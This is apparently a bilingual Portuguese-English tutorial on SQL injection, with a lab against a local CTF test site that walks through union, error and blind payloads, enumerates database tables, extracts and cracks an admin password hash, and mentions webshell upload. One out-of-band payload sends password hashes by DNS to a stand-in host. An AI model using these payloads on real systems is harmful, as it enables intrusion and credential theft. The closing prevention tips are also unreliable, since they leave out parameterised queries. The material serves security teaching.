Introdução / Introduction
Atualmente vivemos num mundo onde a globalização se tornou indiscutivelmente a chave de ouro. A tecnologia encontra-se disponível cada vez mais em plataformas na Internet, que por sua vez viabiliza uma maior mobilidade e flexibilidade aos sistemas. Até então, muitos sistemas e aplicações encontravam-se em infraestruturas locais, e.g., desktops, mas, a pouco e pouco, o conteúdo tem sido migrado para a Cloud. Grande parte das páginas web são dinâmicas, existindo uma troca constante de informações com a base de dados, comunicação feita através da linguagem SQL – Structured Query Language, utilizada por inúmeras aplicações hoje em dia. A troca de informações entre a aplicação e a base de dados, esteja ela local ou não, se possuir falhas, poderá ser explorada por um software malicioso, permitindo a injeção de códigos, permitindo acesso a informações por pessoas não autorizadas, técnica conhecida como SQL Injection.
Ainda como prova do que foi dito anteriormente, a OWASP etiqueta esta técnica/vulnerabilidade como uma das mais perigosas no ecossistema das aplicações web, ocupando assim o número um do top de vulnerabilidades, resultado esse, obtido deste endereço.
In this information era, globalization is defined as an important golden key. A wide quote of technology is become available on web infrastructures, providing thus a greater mobility and flexibility of the systems. Until now many systems and applications ran on local infrastructures, e.g., desktops, however, whole or part of the content has been migrated for Cloud solutions. These systems, or better webpages as well-know, deliver information on-the-fly, providing thus exchange of information with databases, communications done through SQL – Structured Query Language used by many applications nowadays. During the exchange of information, in a local or external infrastructure, it can be exploited by a malicious software providing valid information access to unauthorized people. This technique is itself called by SQL Injection.
Even as evidence of what was enunciated earlier, OWASP highlighted this technique/vulnerability as one of the most dangerous in the ecosystem of web applications, thus occupying the top of vulnerabilities, a result obtained from this webpage.
Nesta “Era da Informação”, em que o bem mais valioso é intangível, a pergunta é: como é que os desenvolvedores estão a lidar com esta enorme responsabilidade?
O desafio passa por desenvolver sistemas cada vez mais inovadores, aliados a mecanismos que promovam a disponibilidade, confiabilidade e integridade ao utilizador final.
In this “Information Era”, where the most valuable asset is intangible, the question is: how developers are dealing with this enormous responsibility?
The challenge is to develop increasingly innovative systems, combined with mechanisms that promote the availability, reliability and integrity to end users.
3 Diferentes Classes de SQLi / 3 Different Classes of SQLi
SQL Injection (SQLi) pode ser dividido em 3 distintas classes ordenadas por criticidade:
Inband – O resultado da injeção é extraído usando o mesmo canal de código. Este é o tipo de ataque mais comum, em que o código resultante da injeção é apresentado na própria página web. Note que é dos ataques mais usados no mundo do cibercrime e na área de testes de penetração (pentesting), e também, o objeto de estudo no decorrer deste artigo.
http://[page]/news.php?id=1 or 1=converting(int,(USER))--
Por exemplo, no exemplo aduzido acima, o erro de sintaxe converte o valor do USER, e.g., pipocaz, para uma coluna do tipo de dados inteiro.
Out-of-band – A informação é obtida através de um diferente canal, e.g., é gerado um e-mail com a informação a enviar ao pentester ou utilizador mal intencionado. Para descrever este modo de operação, na literatura, é bastante usado o exemplo do DNS hijacking ou DNS redirection (ver mais informação aqui).
http://[page]/news.php?id=1; declare @host varchar(800); select @host=name + '-' + master.sys.fn_varbintohexstr(password_hash) + '2.pwn3ed.bypipocaz' from sys.sql_logins; exec('xp_fileexist' "'\\' + @host + 'c$/boot.ini'");--
Inferencial – Não existe qualquer transferência imediata de dados, mas o utilizador malicioso ou pentester é bem capaz de reconstruir informações através do envio de pedidos específicos e observando o comportamento resultante do servidor da base de dados.
Este modo também é conhecido como “Blind SQL Injection“.
http://[page]/news.php?id=1; if+not(select system_user) + <> + 'sa' + waitfor+ delay +'0:0:10';--
SQL Injection (so-called SQLi) can be divided over 3 classes ordered by criticality:
Inband – Data is extracted using the same channel that is used to inject SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page. Notice that it is the most used attack in cybercrime world and penetration testing (pentesting) area, and also, the object of study throughout this article.
http://[page]/news.php?id=1 or 1=converting(int,(USER))--
Regarding this example, syntax error converting the value pipocaz to a column of data type integer.
Out-of-band – data is retrieved using a different channel (e.g., an e-mail with the results of the query is generated and sent to the tester). To describe this mode of operation is often used in the literature the example of DNS hijacking or DNS redirection.
http://[page]/news.php?id=1; declare @host varchar(800); select @host=name + '-' + master.sys.fn_varbintohexstr(password_hash) + '2.pwn3ed.bypipocaz' from sys.sql_logins; exec('xp_fileexist' "'\\' + @host + 'c$/boot.ini'");--
Inferencial – There is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the website / database server.
If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.
The latter case is known as “Blind SQL Injection”.
http://[page]/news.php?id=1; if+not(select system_user) + <> + 'sa' + waitfor+ delay +'0:0:10';--
SQLi Scanners
A identificação de uma vulnerabilidade desta natureza é assumida como uma tarefa repetitiva dentro do contexto de testes acima mencionado. Assim, e agilizando todo o processo repetitivo em torno deste tema, existem ferramentas state-of-the-art que automatizam o processo de identificação e validação de sistemas contra ataques desta linha, e não só.
SQL injection vulnerability assessment turns out to be a repetitive task within the context of the aforementioned tests. Thus, there are state-of-the-art tools that improve and automate the process of identification and validation of systems against this type of attacks.
- mieliekoek.pl (error based)
- wpoison (error based)
- sqlmap (blind by default, and union if you specify)
- wapiti (error based)
- w3af (error, blind)
- paros (error, blind); and
- sqid (error).
Laboratório / Laboratory
A presente secção apresenta uma experiência prática relativa a ataques desta natureza. Inicialmente, e assumindo o papel de um sujeito mal intencionado, é observado que a ferramenta Google pode tomar um papel importante na identificação de sistemas vulneráveis a ataques desta gama. Seguidamente, é analisado e documentado o processo de identificação de um sistema potencialmente vulnerável. Notar que esta experiência é realizada num ambiente totalmente controlado. Finalmente, e para concluir o artigo, são mencionadas algumas linhas relativas à (in)segurança dos sistemas contra ataques desta linha.
This section presents a practical experience based on SQLi attacks in the wild. Initially, and assuming the role of a malicious guy, Google can take a great importance in order to provides and identifying vulnerable systems. Next, a potential vulnerable system is analysed and documented upon a safe infrastructure. Towards the end of the document are mentioned some
lines on the (in)security of the systems against SQL injection attacks.
a) Google Dorks
Uma consulta do tipo Google dork, muitas vezes referidas como um dork, refere-se a uma string que usa operadores avançados de pesquisa para procurar informação sensível e normalmente não visível em páginas web. Em seguida são apresentados alguns exemplos.
A Google dork query, sometimes referred as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website. Here are a few examples of advanced search parameters:
site: returns files located on a particular website or domain.
filetype: followed (without a space) by a file extension returns files of the specified type, such as DOC, PDF, XLS and INI. Multiple file types can be searched for simultaneously by separating extensions with “|”.
inurl: followed by a particular string returns results with that sequence of characters in the URL.
intext: followed by the searchers chosen word or phrase returns files with the string anywhere in the text.
Este “truque” é amplamente utilizado pela grande maioria dos crackers, denominados como hackers neste era da informação, a fim de determinar páginas potencialmente vulneráveis. A seguir, fica um exemplo de uma pesquisa avançada.
This “trick” is used by hacktivist and crackers community, known as hackers nowadays, in order to determine potential vulnerable pages. The following dork is an example of an advanced search.
inurl: news.php?id=
b) Ataque manual via Firefox – hackbar / Manual attack via Firefox – hackbar
Para a experiência que se segue foi utilizada uma versão modificada da plataforma de testes LAMPSecurity CTF6. A imagem a seguir, apresenta a página de teste disponível no servidor localhost (localhost/sqli) com suporte de uma base de dados em MySQL. A linguagem de scripting utilizada no servidor a fim de interpretar e viabilizar uma comunicação com a base de dados é o PHP.
To conduct the following experiment was used a modified version of the LAMPSecurity CTF6. The image below shows the test page available on localhost (localhost/sqli) also supported by a MySQL database. The scripting language used on the server-side to interpret and provide the communication with the database is the PHP.
Logo a seguir à barra de endereços do browser pode ser identificada a extensão do Firefox denominada por “Hackbar“. Esta é uma extensão/ferramenta amplamente utilizada por profissionais da área da segurança e pentesting, pois permite agilizar a construção de strings, e.g., SQL, e executá-las rapidamente (ver, por favor, os botões assinalados com a etiqueta 1 e 2).
Para iniciar o exercício que se segue, deve ser efetuado o loading do endereço através do botão Load URL identificado com a etiqueta 1. http://localhost/sqli/?id=1
Por fim, quando a string final estiver completa deve ser emitida a ordem de execução no botão assinalado com 2.
A extension called “Hackbar“ is located somewhere on Firefox web browser, usually below the address bar. This extension is widely used by security professionals because it speeds up the construction of precomputed strings, e.g., SQL strings, and execute them quickly (see the buttons labelled with 1 and 2).
To start this laboratory experience load the URL into the hackbar through the Load button.
Finally, when the final string is completed the process can be executed in Execute button.
Antes disso, devem ser entendidos alguns conceitos e a metodologia aqui empregue. Para efetuar este tipo de empreitadas SQLi costumam ser utilizados diferentes tipos de injeção, denominadamente:
Before that, the methodology and some used concepts must be understood. To perform this type of SQLi actions are often used different modes of injection, namely:
- Error-Based SQL Injection;
- Union-Based SQL Injection; e / and
- Blind SQL Injection.
Error: Emite uma questão à base de dados que causa um erro e a resposta é obtida desse mesmo erro.
Union: SQL UNION é usado para combinar o resultado de duas ou mais colunas num resultado único.
Blind: Emite uma questão à base de dados do tipo true ou false.
Error: Asking the database a question that will cause an error, and gleaning information from the error.
Union: The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result.
Blind: Asking the database a true or false question and using whether valid page returned or not, or by using the time it took for your valid page to return as the answer to the question.
Metodologia / Methodology
Identificar / Identify
1- Identify the Injection.
2- Determine Injection Type.
Ataque / Attack
1- Error-Based SQL Injection.
2- Union-Based SQL Injection.
3- Blind SQL Injection.
Vamos a isso! Let’s go!
Uma das formas de identificar o tipo de ataque passa pelo uso inicial da cláusula “having” e do uso de single quote (‘). O endereço de teste fica então com o seguinte aspeto:
The use of the “having” clause and singles quote (‘) is the way to identify what kind of attack we’ll use. Therefore, the test payload is composed by the following structure:
http://localhost/sqli/?id=1 having 1=1--
Note que, o double dash (– –) em bases de dados do tipo MySQL representa final de execução, portanto, todo o código SQL depois do double dash jamais será executado.
Notice that the double dash (–) represents the final character to SQL instructions on MySQL databases.
Logo após a execução da string definida anteriormente pode ser visto que a página web não apresentou qualquer erro. De notar que a não apresentação de erros pode ser omitida junto do código PHP da página, portanto, é relevante perceber e analisar a página/conteúdo de resposta do payload injetado.
Como percetível, a cláusula have apenas fez apresentar o conteúdo central da página, identificado com o título “Events“. Este facto emana da conclusão que: -a cláusula GROUP BY é parte integrante da query (ver mais detalhes sobre este tema aqui).
Para analisar se a página é ou não injetável pode ser usado o carater (‘) ou algumas combinações e derivações apresentadas na tabela abaixo.
The previous string not forces any error in web-page. Note that the omission of errors can be configured from the PHP page. However, it is important to realize and analyze the page response content of the injected payload.
The have clause did present the central content of the page, labeled with the “Events” heading. In fact, a GROUP BY clause is part of this query (for more details here).
To be certain that page is injectable, the character (‘) should be used, or some combinations and derivations depicted on table below.
A fim de testar a permissividade da página foi utilizado o seguinte playload:
In order to verify if the page can be labelled as injectable, we can use the following payload:
http://localhost/sqli/?id=x' having 1=1--
Como expectável, os erros estão ativos (o horizonte de ataque ideal), e é apresentado o tipo de SGBD utilizado no servidor de suporte da página, o MySQL. É desta maneira que muitas ferramentas de injeção operam: -identificação; -enumeração; -tipo de ataque; e -apresentação de resultados.
Note que o teste podia ter sido produzido com o seguinte playload:
Notice that information about DBMS (MySQL) is displayed on the page (the ideal attack landscape). This operation mode is used by several injection tools: -identification; -enumeration; -attack type and -presentation of results.
To produce the test mentioned above the following payload can be used:
http://localhost/sqli/?id=1'
De seguida, é importante perceber a quantidade de colunas da query SELECT. Para extrair conteúdo de uma base de dados através de injeção SQL, é importante emitir os payloads pré-computados em consultas do tipo SELECT, pois estas exibem conteúdo na página.
Uma query desta natureza é constituida por:
It is important recognize the number of columns provided by a SELECT statement because them display the content returned by a database in a webpage.
This kind of queries is based on the following sentence:
SELECT (args) FROM table ... WHERE ...
Observe com atenção os parametros entre a tag SELECT e FROM, pois identificam a quantidade de argumentos da consulta.
Para chegar ao número exato de parametros definidos pelo programador aquando da construção da query deve ser utilizado o playload definido a seguir.
The number of parameters between the SELECT and FROM tag identify the amount of query arguments. Thus, to get the exact number of parameters defined by the developer during the construction of the query should be used payload defined below.
http://localhost/sqli/?id=1 order by 6--
A página parece não sofrer qualquer alteração. Este comportamento relvela ser uma ótima notícia, pois foi identificado o número exato de parâmetros da consulta. De forma mais explícita, a query deve ser definida com base no seguinte molde:
The page appears to have not undergone any change, this are great news because we identify the exact number of query parameters. In fact, the query should be based on the following template:
SELECT id, titulo, autor, data, texto, ..., ..., FROM ... GROUP BY ..
Facilmente é entendido que este representa um processo de brute-force, uma vez que o valor 6 da cláusula order by tem de ser identificado via força-bruta. Neste ponto, é importante enaltecer a importância das ferramentas de pentesting, pois automatizam todo este processo repetitivo …
Um dos valores testados antes de chegar ao valor order by 6 foi o valor 7. Vejamos o resultado a seguir.
Easily identified, this is a brute-force process, because the value 6 from the order by clause must be identified via error-tentative. At this point, note the importance of pentesting tools that automate all this repetitive process …
One of the values tested before reaching the value order by 6 was the value 7. Lets see the result below.
O MySQL despoletou um erro, “supplied arguments is not valid“. Pois o valor correto do número de args da consulta são 6 e não 7 elementos.
Posteriormente, e como já mencionado acima, vai ser utilizado o ataque do tipo “UNION BASED“. Neste caso em concreto é utilizada a cláusula UNION do SQL (ver mais informação aqui). Ela serve mesmo para unir duas pesquisas.
Para isso, é usada a toolbar Hackbar. Aceda ao menu MySQL -> Union select statment.
De seguida, deve indicar o número de colunas/argumentos da consulta identificada acima (eram 6).
MySQL triggered the next mistake: “supplied arguments is not valid“. The correct value of the query args is 6 and not 7 elements.
Subsequently, as mentioned above, it will be used the mode “UNION BASED”. In this particular case is used the clause SQL UNION (more information here). For this, the toolbar HackBar is used. It can be accessed from MySQL in -> Union select statement.
Then, the number of columns (query arguments) should be typed on the hackbar prompt (6 elements).
O payload resultante é o seguinte:
The result is presented as follows:
http://localhost/sqli/?id=1 UNION SELECT 1,2,3,4,5,6
Na prática, e entendendo um pouco do ADN deste tipo de querys SQL, a representação final seria algo como:
In fact, the query final representation is composed as presented below.
SELECT id, titulo, autor, data, texto, ..., ... FROM TABLE WHERE id=1 UNION SELECT 1,2,3,4,5,6-- ORDER BY ..
Depois da execução do payload parece não ter havido qualquer alteração na página, na verdade falta negar o 1 argumento da consulta.
No page changes identified when the payload is executed. Notice that, the first parameter (number 1) should to have a negative representation (-1).
http://localhost/sqli/?id=-1 UNION SELECT 1,2,3,4,5,6
Na imagem a seguir, estão assinalados o valor 2, 3 e 6, pois estes são aqueles que são apresentados na página após a união das duas querys SELECT.
The labels 2, 3 and 6 are highlighted on the next image. They represent the SELECT queries union.
Em termos de eficiência, e para uma melhor precisão, muitas ferramentas modificam a injeção para algo semelhante a:
To a more effectiveness and resilience many tools perform the payloads as presented below.
http://localhost/sqli/?id=null UNION SELECT 1,'pipocaz',3,4,5,'pipocaz'
Ou ainda: / or better:
http://localhost/sqli/?id=null UNION SELECT 1,0x7069706f63617a,3,4,5,0x7069706f63617a
Neste caso em concreto o valor “pipocaz” foi convertido para uma notação HEX (hexadecimal). A maior utilidade deste tipo de representação são os carateres especiais, pois repare-se que acima, pipocaz, tinha de ser envolvido entre quotes (‘).
Portanto, a representação da string pipocaz para hexadecimal é a seguinte: 0x7069706f63617a.
In this case, pipocaz value was converted to an hexadecimal representation. The main goal from this transformation is the possibility to remove single quotes from the string. Thus, the hexadecimal representation is defined by the next value: 0x7069706f63617a.
Como vísivel na imagem anterior, a string pipocaz é exibida no título e no nome do autor. O SGBD MySQL possui algumas variáveis globais com informações importantes e de fácil acesso. Estas variaveis guardam e.g., o nome do utilizador da base de dados, a sua localização, a versão do MySQL, o nome da base de dados, etcetera.
From the image below is possible to show pipocas string on page, namely in title and author heads. Regarding to MySQL DBMS, some global variables like the database user, the installation folder, MySQL version and the database name may be easily accessed.
@@VERSION user() system_user() database()
O playload que permite obter o utilizador MySQL pode ser então defenido como se segue:
The next payload confirms what was said above.
http://localhost/sqli/?id=null UNION SELECT 1,user(),3,4,5,0x7069706f63617a
Como observado, sql_account@localhost diz respeito ao nome de utilizador utilizado para ligar ao SGBD na página. Esta é uma informação bastante sensível, e que viabiliza ataques de força bruta ao servidor MySQL caso este esteja acessível através da porta 3306 (porta por defeito).
The sql_account@localhost represents the user used to access to DBMS. This is a sensitive information and represents a entry point to the brute-force attacks when 3306 port is enabled in server (default port).
À priori, pode ser identificado o nome da base de dados: “sql_injection” através do seguinte payload.
The name of the “sql_injection” database may be identified through the next payload.
http://localhost/sqli/?id=null UNION SELECT 1,database(),3,4,5,0x7069706f63617a
Partindo deste ponto, e já identificado o tipo de SGBD no inicio, é necessário entender alguns conceitos base do ADN deste sistema gestor de bases de dados. Ele é sempre constituído por uma base de dados denomidada: information_schema. Na verdade, muitos utilizadores, atacantes, e maioritariamente script kiddies, que se limitam a usar apenas ferramentas de injeção, desconhecem ao certo o objetivo e usabilidade desta base de dados. Ela é responsável por gerir, e guardar toda a informação das base de dados adjacentes, representa a metadata do MySQL. Efetuar consultas a esta base de dados, é examente o mesmo que consultar uma base de dados em específico, aumentando apenas o grau de complexidade da consulta. Antes de continuar este laboratório é importante compreender alguns conceitos base.
Certamente, usando a linha de comandos, já várias vezes usou o comando “show databases“. Este comando é um alias, uma stored procedure para uma consulta muito mais elaborada à metadata do MySQL (information_schema).
From this point, and identified the DBMS in the start, some basic concepts from this database system should be studied. It is constituted by a database termed: information_schema. In fact, many users, attackers, and mostly script kiddies, that use only injection tools, unaware the origin and usability this database. It represents a metadata database responsible for managing and storing all information of adjacent databases. Make queries to this database is the same that interact with a specific database. Regarding this matter, it is important to understand some basic concepts.
Certainly, at time to use the command line, you have repeatedly typed the command “show databases“. This command is an alias, a stored procedure that provides a more elaborate query from the MySQL metadata (information_schema).
select schema_name from information_schema.schemata;
Portanto, em seguida as consultas à metadata presentes nos seguintes playloads não são mais que consultas um pouco mais elaboradas à base de dados que suporta e acopla todas as bases de dados de um servidor do tipo MySQL.
Para listar todas as tabelas deve ser emitido o seguinte payload:
Metadata queries present in the following payloads are a little more elaborate than queries to a generic database.
To list all tables the following payload must be typed:
http://localhost/sqli/?id=-1 UNION SELECT 1,tale_name,3,4,5,0x7069706f63617a from information_schema.tables
É apresentado na página todo um conjunto de tabelas da metadata. A seguinte instrução apresenta o nome de todas as colunas presentes na metadata.
Next is presented all the columns from the metadata tables (namely, all tables from the adjacent databases).
http://localhost/sqli/?id=-1 UNION SELECT 1,column_name,3,4,5,0x7069706f63617a from information_schema.columns
Em seguida o processo continua. É pretendido listar o nome das colunas da tabela com o nome user (nome suspeito).
Next, the columns names from the user table are presented (suspicious table).
http://localhost/sqli/ ?id=-1 UNION SELECT 1,column_name,3,4,5,0x7069706f63617a from information_schema.columns where table_name='user'
No entanto, uma maneira mais correta de fazer este processo é indicando no payload o nome da base de dados, obtido através da variável de ambiente database(), e forçar a listagem de todas as tabelas dessa base de dados. Repare que, 0x73716c5f696e6a656374696f6e é o valor hexadecimal correspondente ao nome da base de dados, sql_injection.
However, a more effective way can be executed. First, the database name identified previously can be addressed on the payload. Remember that the database name was extracted from the database() variable. This payload provides all database tables. Note that 0x73716c5f696e6a656374696f6e is the corresponding hexadecimal value to the name of the database, sql_injection.
http://localhost/sqli/?id=-1 UNION SELECT 1,table_name,3,4,5,6 from information_schema.tables where table_schema=0x73716c5f696e6a656374696f6e--
Obtendo esse resultado, é possível fazer uma consulta direta à tabela, pois já foram identificados os valores das colunas, nomeadamente:
Then, is possible to get a direct query access to table because the columns values were already identified above, namely:
- user_username; e / and
- user_password.
Para obter o nome de utilizador guardado na tabela user da base de dados sql_injection é necessário construir e executar o seguinte payload:
To get the username stored in table user from sql_injection database should be typed the next payload:
http://localhost/sqli/ ?id=-1 UNION SELECT 1,user_username,3,4,5,0x7069706f63617a from user
Como identificado, o nome de utilizador guardado na tabela é: admin.
Em seguida, e presente na barra de endereços, é obtida a palavra-passe correspondente.
As identified, the user name stored in the table is: admin. Next the password is also obtained.
http://localhost/sqli/ ?id=-1 UNION SELECT 1,user_password,3,4,5,0x7069706f63617a from user
A palavra-passe obtida é uma representação da palavra-passe do utilizador, nomeadamente uma chave de hash do tipo MD5. Hoje em dia, representações deste tipo são consideradas weak, e é extremamente fácil encontrar uma colisão para esta representação na Internet.
The obtained password is a representation of the password, namely a MD5 hash key. Today representations of this type are considered weak, and is extremely easy to find a collision for this representation on the Internet.
Através da página: / Across the page:
http://md5cracker.org/decrypted-md5-hash/25e4ee4e9229397b6b17776bfceaf8e7
é possivel encontrar a palavra-passe que deu origem à representação.
it is possible to find a password collision.
Dados de autenticação: / Authentication data:
utilizador: / user: admin
palavra-passe: / password: adminpass
Antes de continuar, e aceder à página de administração, convém perceber que poderiam ter sido usados outros tipos de ataques, nomeadamente ataques do tipo BLIND-BASED. Este tipo de ataques são do tipo TRUE ou FALSE. Para obter, por exemplo, a versão do MySQL via ataques do tipo blind pode ser emitido o seguinte payload, baseado no número ASCII referente a cada posição da string (string -> 5.6).
Before proceeding and to access the administration page, other types of attacks can be used, including the BLIND-BASED attacks. Such attacks are TRUE or FALSE type. For example, via the MySQL version of the blind type attacks can be issued the following payload based on the ASCII number for each position.
http://localhost/sqli/?id=1 AND ORD(MID((VERSION()), 1,1)) > 60
A página não apresentou qualquer resultado, isto significa que o playload acima falhou, a parte mais à direita do payload não é verdade.
The page did not show any results, this means that the payload above failed, the far right of the payload is not true.
AND ORD(MID((VERSION()), 1,1)) > 60
Mais explicitamente, a injeção acima permite obter o 1 carater da variável versão (Version()) baseado no número ASCII do mesmo. Quer dizer, que o número ASCII da versão é menor que 60 (carater <).
More explicitly, the injection above gives the first character of the variable version (Version ()) based on the ASCII number of the same. This means that the ASCII version number is less than 60 (character <).
Ao executar a mesma injeção, mas desta vez conjeturando que o 1 digito da versão do MySQL é maior que 50 (número 2), a condição é verdade, e o conteúdo da página é apresentado.
To perform the same injection, but this time guessing the first digit of the MySQL version is greater than 50 (number 2), the condition is true, and page content is displayed.
É desta maneira o modo de funcionamento do Blind-Based SQLi. Por tentativa-erro, ferramentas de pentesting iriam produzir e testar injeções semelhantes às seguintes:
This represents the operation mode of Blind-based SQLi queries. The pentesting tools produce injections similar to the following:
http://localhost/sqli/?id=1 AND ORD(MID((VERSION()), 1,1)) = 53 http://localhost/sqli/?id=1 AND ORD(MID((VERSION()), 2,1)) = 46 http://localhost/sqli/?id=1 AND ORD(MID((VERSION()), 2,1)) = 54
Este resultado, diz respeito a: 5.6, Isto é, a versão do MySQL obtida através de BLIND-SQLi.
This result relates to: 5.6, This is the version of MySQL obtained through BLIND–SQLi.
c) Upload de uma web-shell / Web-shell upload
Toda a vez que um utilizador mal intencionado/hacker, possui a combinação utilizador:palavra-passe da página de adminsitração, cabe ao mesmo ser engenhoso e descortinar o endereço da página administrativa, por exemplo, site/admin. Existem também ferramentas que automatizam este processo. Elas baseiam-se no valor do status do header da página HTTP de resposta, caso este seja: 200 OK, então o endereço submetido, e.g., site/admin, é dado como válido.
Ao aceder à página administrativa, o utilizador malicioso possui várias alternativas, (i) defacement da página, (ii) injeção de código malicioso Javascript, (iii) XSS presistente, etcetera. É comum, qualquer página web deter uma página de upload de ficheiros. Por norma, este é o ponto de ataque para qualquer sujeito, onde pode ser produzido o carregamento de uma webshell e controlar parcialmente a máquina através de um navegador web. As imagens abaixo são a prova viva desse facto, a 1 apresenta um código malicioso do tipo XSS, que apresenta algumas informação relativa à sessão e ao cookie da página:
When a malicious user/hacker possesses the user:password combination the system administration webpage represents a real target and, in fact, there are many tools that promote this kind of activities. Those tools are based on the request HTTP status. Thus, if the response is equal to 200 then the URL previously submitted, e.g, site/admin, represents valid access to admin page.
At the first access, the malicious user has several possibilities, (i) page defacement, (ii) injection of Javascript malicious code, (iii) Persistent XSS, etc. Notice that any webpage holds a file upload page, and normally, this is a critical point of attack where a malicious file, e.g., a webshell, can be uploaded. This type of attack allows the privilege escalation of the system. The images below are the proof of this fact. The first one represents a malicious XSS code, which presents some information on the session cookies. The next image presents a r56.php webshell.
<script>alert(document.cookie)</script>
e a segunda uma webshell denomiada por r56.php ou até c99.php, que são das mais utilizadas dentro deste contexto.
Prevenção SQLi / Prevention against SQLi
Como descrito ao longo deste artigo, SQLi é das vulnerabilidades mais perigosas no contexto das aplicações web-based. Em seguida, ficam umas pequenas dicas para prevenir ataques desta natureza.
- Verificar sempre o que é digitado, nunca confiar no que o utilizador irá digitar;
- Em campos de texto de natureza alfanumérica, por exemplo, nome do utilizador, verificar se o conteúdo introduzido contém apenas carateres alfanuméricos;
- Eliminar e filtrar carateres especiais e entradas possivelmente maliciosas;
- Usar expressões regulares para filtragem do conteúdo;
- Relaticamente ao SQL, e à forma como são preparadas as querys, não permitir que várias requisições sejam feitas em uma única expressão; e
- NUNCA, deixar vazar informações sobre a base de dados através das mensagens de erro, etcetera.
As described throughout this article, SQLi is the most dangerous vulnerabilities in the context of web-based applications. Some tips to prevent attacks of this nature are presented below.
- The system should to check what is typed, i.e., never trust on user;
- Regarding to alphanumeric text fields, for example the username field, verify that the content contains only alphanumeric characters;
- Filter special characters and possibly malicious entries;
- Use regular expressions (exp_reg) for filtering content;
- Regarding to SQL, and how queries are prepared, do not allow multiple requests in a single expression; and
- NEVER, leaking information about the database through error messages, etc.